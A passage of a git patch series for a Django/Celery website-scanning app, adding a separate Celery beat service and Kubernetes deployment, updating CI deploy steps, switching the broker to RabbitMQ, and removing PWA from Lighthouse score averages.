-CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 123f3612..d836b77c 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -163,6 +163,8 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl rollout restart deployment app-deployment celery-deployment`
  - Get Current IPs for pods:
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
+ - Force delete pods that are stuck in `Terminating`:
+   - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
 
 
 

From 353bab932b8fe81532c05c8e686e23f41df2e8e1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:26:52 -0600
Subject: [PATCH 0627/1099] decoupling celery and celery beat

---
 docker-compose.dev.yml             | 21 ++++++++++++++++++
 docker-compose.local.yml           | 21 ++++++++++++++++++
 docker-compose.prod.yml            | 29 +++++++++++++++++++++++++
 k8s/prod/beat-deployment.yaml      | 34 ++++++++++++++++++++++++++++++
 setup/scripts/local-entrypoint.sh  |  8 +++++++
 setup/scripts/remote-entrypoint.sh | 14 ++++++++++--
 6 files changed, 125 insertions(+), 2 deletions(-)
 create mode 100644 k8s/prod/beat-deployment.yaml

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0af3ef06..eeb1c439 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -70,6 +70,27 @@ services:
       - db
 
 
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - celery
+      - rabbitmq
+      - db
+      - redis
+      - app
+
+
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 64e1b44c..8a56769e 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -67,6 +67,27 @@ services:
       - app
 
 
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - celery
+      - rabbitmq
+      - db
+      - redis
+      - app
+
+
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 36dece56..8c3df022 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -42,6 +42,14 @@ services:
       - "6379"
 
 
+  rabbitmq:
+    container_name: scanerr-rabbitmq
+    hostname: scanerr-rabbitmq
+    image: rabbitmq:alpine
+    ports:
+      - "5672"
+
+
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -61,6 +69,27 @@ services:
       - db
 
 
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - celery
+      - rabbitmq
+      - db
+      - redis
+      - app
+
+
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
new file mode 100644
index 00000000..5d18006e
--- /dev/null
+++ b/k8s/prod/beat-deployment.yaml
@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: beat-deployment
+  labels:
+    deployment: beat
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: beat-deployment
+  strategy: {}
+  template:
+    metadata:
+      labels:
+        app: beat-deployment
+    spec:
+      imagePullSecrets:
+        - name: regcred
+      containers:
+        - name: beat
+          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
+          imagePullPolicy: Always
+          command: ["/remote-entrypoint.sh", "beat"]
+          resources:
+            limits:
+              cpu: ".5"
+              memory: "1Gi"
+            requests:
+              cpu: ".5"
+              memory: "1Gi"
+strategy: {}
+
+
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 976c4877..6cc20c79 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -19,3 +19,11 @@ then
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker --beat --scheduler django --loglevel=info
 fi
+
+# spin up celery beat in remote env
+if [[ $1 == *"beat"* ]]
+then
+  python3 manage.py wait_for_db &&
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr beat --scheduler django --loglevel=info
+fi
\ No newline at end of file
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 8c18f7ff..5dd468cf 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -8,12 +8,22 @@ then
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
   python3 manage.py driver_test &&
-  gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+  gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
 fi
 
 # spin up celery in remote env
 if [[ $1 == *"celery"* ]]
 then
+  python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --beat --scheduler django --loglevel=info
+  celery -A scanerr worker --loglevel=info
+fi
+
+
+# spin up celery beat in remote env
+if [[ $1 == *"beat"* ]]
+then
+  python3 manage.py wait_for_db &&
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr beat --scheduler django --loglevel=info
 fi

From 3339f14403d23ea342dd4b48374b58f3c818ab57 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:30:09 -0600
Subject: [PATCH 0628/1099] fixed file mismatch

---
 docker-compose.dev.yml  | 6 +++---
 docker-compose.prod.yml | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index eeb1c439..7700cc1a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -77,12 +77,12 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "beat"]
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
-      - ./env/.env.local
+      - ./env/.env.dev
     depends_on:
       - celery
       - rabbitmq
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 8c3df022..8da181b4 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -76,12 +76,12 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "beat"]
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
-      - ./env/.env.local
+      - ./env/.env.prod
     depends_on:
       - celery
       - rabbitmq

From aa95b64177ad94eae436213e18c3ca1c9a33331e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:35:46 -0600
Subject: [PATCH 0629/1099] adding default for browser in configs

---
 app/api/utils/caser.py   | 2 +-
 app/api/utils/scanner.py | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index b3b3bf9a..fb405232 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -183,7 +183,7 @@ def run(self) -> None:
         
         # initate driver
         self.driver = driver_init(
-            browser=self.configs['browser'],
+            browser=self.configs.get[('browser', 'chrome'),
             window_size=self.configs['window_size'], 
             device=self.configs['device']
         )
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 60eb69d7..4dbd2bb9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -75,14 +75,14 @@ def build_scan(self) -> object:
         
         # running scan steps with selenium driver
         driver = driver_init(
-            browser=self.scan.configs['browser'],
+            browser=self.scan.configs.get[('browser', 'chrome'),
             window_size=self.scan.configs['window_size'], 
             device=self.scan.configs['device']
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=self.scan.configs['browser'],
+            browser=self.scan.configs.get[('browser', 'chrome'),
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:
@@ -386,14 +386,14 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
         # get html and logs using selenium
         # init driver & get data
         driver = driver_init(
-            browser=scan.configs['browser'],
+            browser=scan.configs.get[('browser', 'chrome'),
             window_size=scan.configs['window_size'], 
             device=scan.configs['device']
         )
         driver.get(scan.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=scan.configs['browser'],
+            browser=scan.configs.get[('browser', 'chrome'),
             max_wait_time=int(scan.configs['max_wait_time']),
             min_wait_time=int(scan.configs['min_wait_time']),
             interval=int(scan.configs['interval'])

From f468365ab6045f4eeaea221e9fc26ad96b708d25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:39:26 -0600
Subject: [PATCH 0630/1099] fixed typo

---
 app/api/utils/caser.py   | 2 +-
 app/api/utils/scanner.py | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index fb405232..59508d53 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -183,7 +183,7 @@ def run(self) -> None:
         
         # initate driver
         self.driver = driver_init(
-            browser=self.configs.get[('browser', 'chrome'),
+            browser=self.configs.get('browser', 'chrome'),
             window_size=self.configs['window_size'], 
             device=self.configs['device']
         )
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 4dbd2bb9..dbbfbcab 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -75,14 +75,14 @@ def build_scan(self) -> object:
         
         # running scan steps with selenium driver
         driver = driver_init(
-            browser=self.scan.configs.get[('browser', 'chrome'),
+            browser=self.scan.configs.get('browser', 'chrome'),
             window_size=self.scan.configs['window_size'], 
             device=self.scan.configs['device']
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=self.scan.configs.get[('browser', 'chrome'),
+            browser=self.scan.configs.get('browser', 'chrome'),
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:
@@ -386,14 +386,14 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
         # get html and logs using selenium
         # init driver & get data
         driver = driver_init(
-            browser=scan.configs.get[('browser', 'chrome'),
+            browser=scan.configs.get('browser', 'chrome'),
             window_size=scan.configs['window_size'], 
             device=scan.configs['device']
         )
         driver.get(scan.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=scan.configs.get[('browser', 'chrome'),
+            browser=scan.configs.get('browser', 'chrome'),
             max_wait_time=int(scan.configs['max_wait_time']),
             min_wait_time=int(scan.configs['min_wait_time']),
             interval=int(scan.configs['interval'])

From 8ce6b5027b78e4c0a06a8601036710a9a1bd3998 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:08:47 -0600
Subject: [PATCH 0631/1099] updated k8s-deploy for new beat-deployment.yaml

---
 .github/workflows/k8s-deploy.yaml | 18 ++++++++++++------
 k8s/prod/beat-deployment.yaml     |  3 +--
 notes/Kubernetes.md               |  1 +
 3 files changed, 14 insertions(+), 8 deletions(-)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 4863cb6e..11f97e30 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -1,5 +1,5 @@
-# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
-# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
+# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
 # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
 name: Deploy to scanerr-k8s
@@ -40,11 +40,10 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
 
-    - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      # run: doctl registry login --expiry-seconds 1200
+    - name: Log in to Docker Hub Container Registry with short-lived credentialse
       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-    - name: Push image to DigitalOcean Container Registry
+    - name: Push image to Docker Hub Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
@@ -54,16 +53,23 @@ jobs:
     - name: Update celery deployment file
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
+    - name: Update beat deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+
     - name: Save DigitalOcean kubeconfig with short-lived credentials
       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
-    # Re-deploy app and Celery
+    # Re-deploy app, celery and beat
     - name: Deploy app
       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     - name: Deploy celery 
       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Deploy beat 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
     - name: Verify app
       run: kubectl rollout status deployment/app-deployment
     - name: Verify celery
       run: kubectl rollout status deployment/celery-deployment
+    - name: Verify beat
+      run: kubectl rollout status deployment/beat-deployment
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 5d18006e..54f5b82c 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
+          image:  <IMAGE> # scanerr/server:bf1dab1 # 
           imagePullPolicy: Always
           command: ["/remote-entrypoint.sh", "beat"]
           resources:
@@ -29,6 +29,5 @@ spec:
             requests:
               cpu: ".5"
               memory: "1Gi"
-strategy: {}
 
 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index d836b77c..062b2ec1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -125,6 +125,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f ./k8s/prod/app-deployment.yaml`
 - `kubectl apply -f ./k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f ./k8s/prod/celery-autoscaler.yaml`
+- `kubectl apply -f ./k8s/prod/beat-deployment.yaml`
 
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler

From 96d7983da30225d669445bca3c1dd55cf1c72fb9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:16:35 -0600
Subject: [PATCH 0632/1099] added app-configs

---
 k8s/prod/beat-deployment.yaml | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 54f5b82c..f1dea922 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,9 +19,12 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image:  <IMAGE> # scanerr/server:bf1dab1 # 
+          image: <IMAGE> # scanerr/server:bf1dab1 # 
           imagePullPolicy: Always
           command: ["/remote-entrypoint.sh", "beat"]
+          envFrom:
+            - configMapRef:
+                name: app-configs
           resources:
             limits:
               cpu: ".5"

From c3d3887ac918e233f9e9f572c769e01f49a80df6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:39:04 -0600
Subject: [PATCH 0633/1099] testing with rabbbitmq

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index ae8f36da..b64bec0d 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-# CELERY_BROKER_URL = "amqp://rabbitmq"
+CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type

From a3b451131f66d3640ba9817ae82be1a44ab08ae5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:39:18 -0600
Subject: [PATCH 0634/1099] updating scripts

---
 setup/scripts/local-entrypoint.sh  | 5 +++--
 setup/scripts/remote-entrypoint.sh | 4 ++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 6cc20c79..3892d1e4 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --beat --scheduler django --loglevel=info
+  celery -A scanerr worker --loglevel=info
 fi
 
 # spin up celery beat in remote env
@@ -26,4 +26,5 @@ then
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr beat --scheduler django --loglevel=info
-fi
\ No newline at end of file
+fi
+
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 5dd468cf..62201f82 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -3,7 +3,8 @@
 # spin up app in remote env
 if [[ $1 == *"app"* ]]
 then 
-  python3 manage.py wait_for_db && python3 manage.py makemigrations  --no-input &&
+  python3 manage.py wait_for_db && 
+  python3 manage.py makemigrations  --no-input &&
   python3 manage.py migrate --no-input &&
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
@@ -19,7 +20,6 @@ then
   celery -A scanerr worker --loglevel=info
 fi
 
-
 # spin up celery beat in remote env
 if [[ $1 == *"beat"* ]]
 then

From 4767ab78bfbf56d6d6c07ae2b634f5bdd38414e4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 14:13:40 -0600
Subject: [PATCH 0635/1099] testing new configs for celery

---
 app/scanerr/celery.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index c0dd8155..e194b19a 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -17,6 +17,14 @@
 # configure namespace
 app.config_from_object('django.conf:settings', namespace='CELERY')
 
+# celery and beat configs
+app.conf.update(
+    task_acks_late=True,
+    worker_prefetch_multiplier=1,
+    worker_hijack_root_logger=False,
+    task_always_eager=False,
+)
+
 # setting tasks to auto-discover
 app.autodiscover_tasks()
 

From 2d5d4ba96f3fdeb6c6d0a24916f91aaa2f8c64d4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 8 Aug 2024 08:21:15 -0600
Subject: [PATCH 0636/1099] updated entrypoint scripts for best practices with 
 k8 deployment

---
 setup/scripts/local-entrypoint.sh  | 2 +-
 setup/scripts/remote-entrypoint.sh | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 3892d1e4..c6e5669e 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --loglevel=info
+  celery -A scanerr worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat in remote env
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 62201f82..c11229a2 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --loglevel=info
+  celery -A scanerr worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat in remote env

From 7d37dbf76daef6445383e4049ce5bcb7fa5b4373 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 8 Aug 2024 09:49:52 -0600
Subject: [PATCH 0637/1099] fixing LH issues and removing PWA from LH scores /
 audits

---
 Dockerfile                     |  2 +-
 app/api/models.py              |  6 +--
 app/api/utils/custom-config.js |  2 +-
 app/api/utils/lighthouse.py    |  4 +-
 app/api/utils/tester.py        | 75 ++++++++++++++++++----------------
 5 files changed, 47 insertions(+), 42 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index dffd7371..6148fe0b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -43,7 +43,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # installing lighthouse
-RUN npm install -g lighthouse@11.7.1 lighthouse-plugin-crux lodash yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
diff --git a/app/api/models.py b/app/api/models.py
index 5a4f661d..3620dc69 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -28,7 +28,7 @@ def get_info_default():
             'lighthouse': {
                 'average': None,
                 'seo': None,
-                'pwa': None, 
+                # 'pwa': None, 
                 'crux': None, 
                 'performance': None, 
                 'accessibility': None, 
@@ -89,7 +89,7 @@ def get_lh_delta_default():
             "performance_delta": None, 
             "accessibility_delta": None, 
             "best-practices_delta": None,
-            "pwa_delta": None, 
+            # "pwa_delta": None, 
             "crux_delta": None,
             "average_delta" : None,
             "current_average": None, 
@@ -130,7 +130,7 @@ def get_lh_default():
             "performance": None, 
             "accessibility": None, 
             "best_practices": None,
-            "pwa": None, 
+            # "pwa": None, 
             "crux": None, 
             "average": None
        },
diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js
index a51b1005..a4fadfce 100644
--- a/app/api/utils/custom-config.js
+++ b/app/api/utils/custom-config.js
@@ -5,7 +5,7 @@ module.exports = {
   settings: {
     cruxToken: process.env.GOOGLE_CRUX_KEY,
     skipAudits: [
-      "full-page-screenshot",
+      // "full-page-screenshot",
     ],
   },
 }
\ No newline at end of file
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 301df274..dbcca330 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -30,7 +30,7 @@ def __init__(self, scan=None):
             "accessibility": None,
             "performance": None,
             "best_practices": None,
-            "pwa": None,
+            # "pwa": None,
             "crux": None,
             "average": None
         }
@@ -41,7 +41,7 @@ def __init__(self, scan=None):
             "accessibility": [],
             "performance": [],
             "best_practices": [],
-            "pwa": [],
+            # "pwa": [],
             "crux": []
         }
 
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 99f28756..f40d7913 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -349,14 +349,14 @@ def delta_lighthouse(self) -> dict:
             pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility'])
             pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance'])
             pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices'])
-            pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
+            # pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
             
             # get post scores
             post_seo = int(self.test.post_scan.lighthouse["scores"]['seo'])
             post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility'])
             post_performance = int(self.test.post_scan.lighthouse["scores"]['performance'])
             post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices'])
-            post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
+            # post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
 
             # try to get pre and post crux scores
             try:
@@ -373,27 +373,27 @@ def delta_lighthouse(self) -> dict:
             accessibility_delta = post_accessibility - pre_accessibility 
             performance_delta = post_performance - pre_performance
             best_practices_delta = post_best_practices - pre_best_practices
-            pwa_delta = post_pwa - pre_pwa
+            # pwa_delta = post_pwa - pre_pwa
             
             # calculate averages 
             if post_crux is None:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
-                    post_performance + post_pwa 
-                )/5
+                    post_performance # + post_pwa 
+                )/4
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
-                    pre_performance + pre_pwa 
-                )/5
+                    pre_performance # + pre_pwa 
+                )/4
             else:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
-                    post_performance + post_pwa + post_crux
-                )/6
+                    post_performance + post_crux # + post_pwa
+                )/5
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
-                    pre_performance + pre_pwa + pre_crux
-                )/6
+                    pre_performance  + pre_crux # + pre_pwa
+                )/5
 
             # calculate difference in averages
             average_delta = current_average - old_average 
@@ -403,7 +403,7 @@ def delta_lighthouse(self) -> dict:
             accessibility_delta = None 
             performance_delta = None
             best_practices_delta = None
-            pwa_delta = None
+            # pwa_delta = None
             crux_delta = None
             current_average = None
             average_delta = None
@@ -415,7 +415,7 @@ def delta_lighthouse(self) -> dict:
                 "accessibility_delta": accessibility_delta,
                 "performance_delta": performance_delta,
                 "best_practices_delta": best_practices_delta,
-                "pwa_delta": pwa_delta,
+                # "pwa_delta": pwa_delta,
                 "crux_delta": crux_delta,
                 "current_average": current_average,
                 "average_delta": average_delta,
@@ -560,8 +560,6 @@ def get_lh_audits_deltas(self, scores: dict) -> str:
         # save data at .json in s3
         lh_audit_file_uri = self.save_data_to_s3(_data=audits)
 
-        print(f'LH audit deltas -> {lh_audit_file_uri}')
-
         # return uri
         return lh_audit_file_uri
 
@@ -786,6 +784,9 @@ def run_test(self, index: int=None) -> object:
                 print(f'html_delta => {html_delta_uri}')
 
             except Exception as e:
+                micro_diff_w = 0
+                num_html_w = 0
+                micro_diff_w = 0
                 print(e)
         
         # testing logs
@@ -806,31 +807,33 @@ def run_test(self, index: int=None) -> object:
                     "post_logs_delta": delta_logs_data['delta_logs_post'],
                 }
             except Exception as e:
+                logs_score_w = 0
                 print(e)
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
-            # try:
+            try:
             # scores & data
-            lighthouse_data = self.delta_lighthouse()
-            lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
-            lighthouse_data['audits'] = lh_audits_uri
-            lighthouse_avg = lighthouse_data['scores']['average_delta']
-            if lighthouse_avg != None and lighthouse_avg > -100:
-                lighthouse_score = (100 + lighthouse_avg)/100
-            if lighthouse_avg != None and lighthouse_avg <= -100:
-                lighthouse_score = 0
-
-            # weights
-            if lighthouse_score == None:
+                lighthouse_data = self.delta_lighthouse()
+                lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
+                lighthouse_data['audits'] = lh_audits_uri
+                lighthouse_avg = lighthouse_data['scores']['average_delta']
+                if lighthouse_avg != None and lighthouse_avg > -100:
+                    lighthouse_score = (100 + lighthouse_avg)/100
+                if lighthouse_avg != None and lighthouse_avg <= -100:
+                    lighthouse_score = 0
+
+                # weights
+                if lighthouse_score == None:
+                    delta_lh_w = 0
+                elif lighthouse_score > 1:
+                    delta_lh_w = 1
+                    lighthouse_score = 1
+                else:
+                    delta_lh_w = 1
+            except Exception as e:
                 delta_lh_w = 0
-            elif lighthouse_score > 1:
-                delta_lh_w = 1
-                lighthouse_score = 1
-            else:
-                delta_lh_w = 1
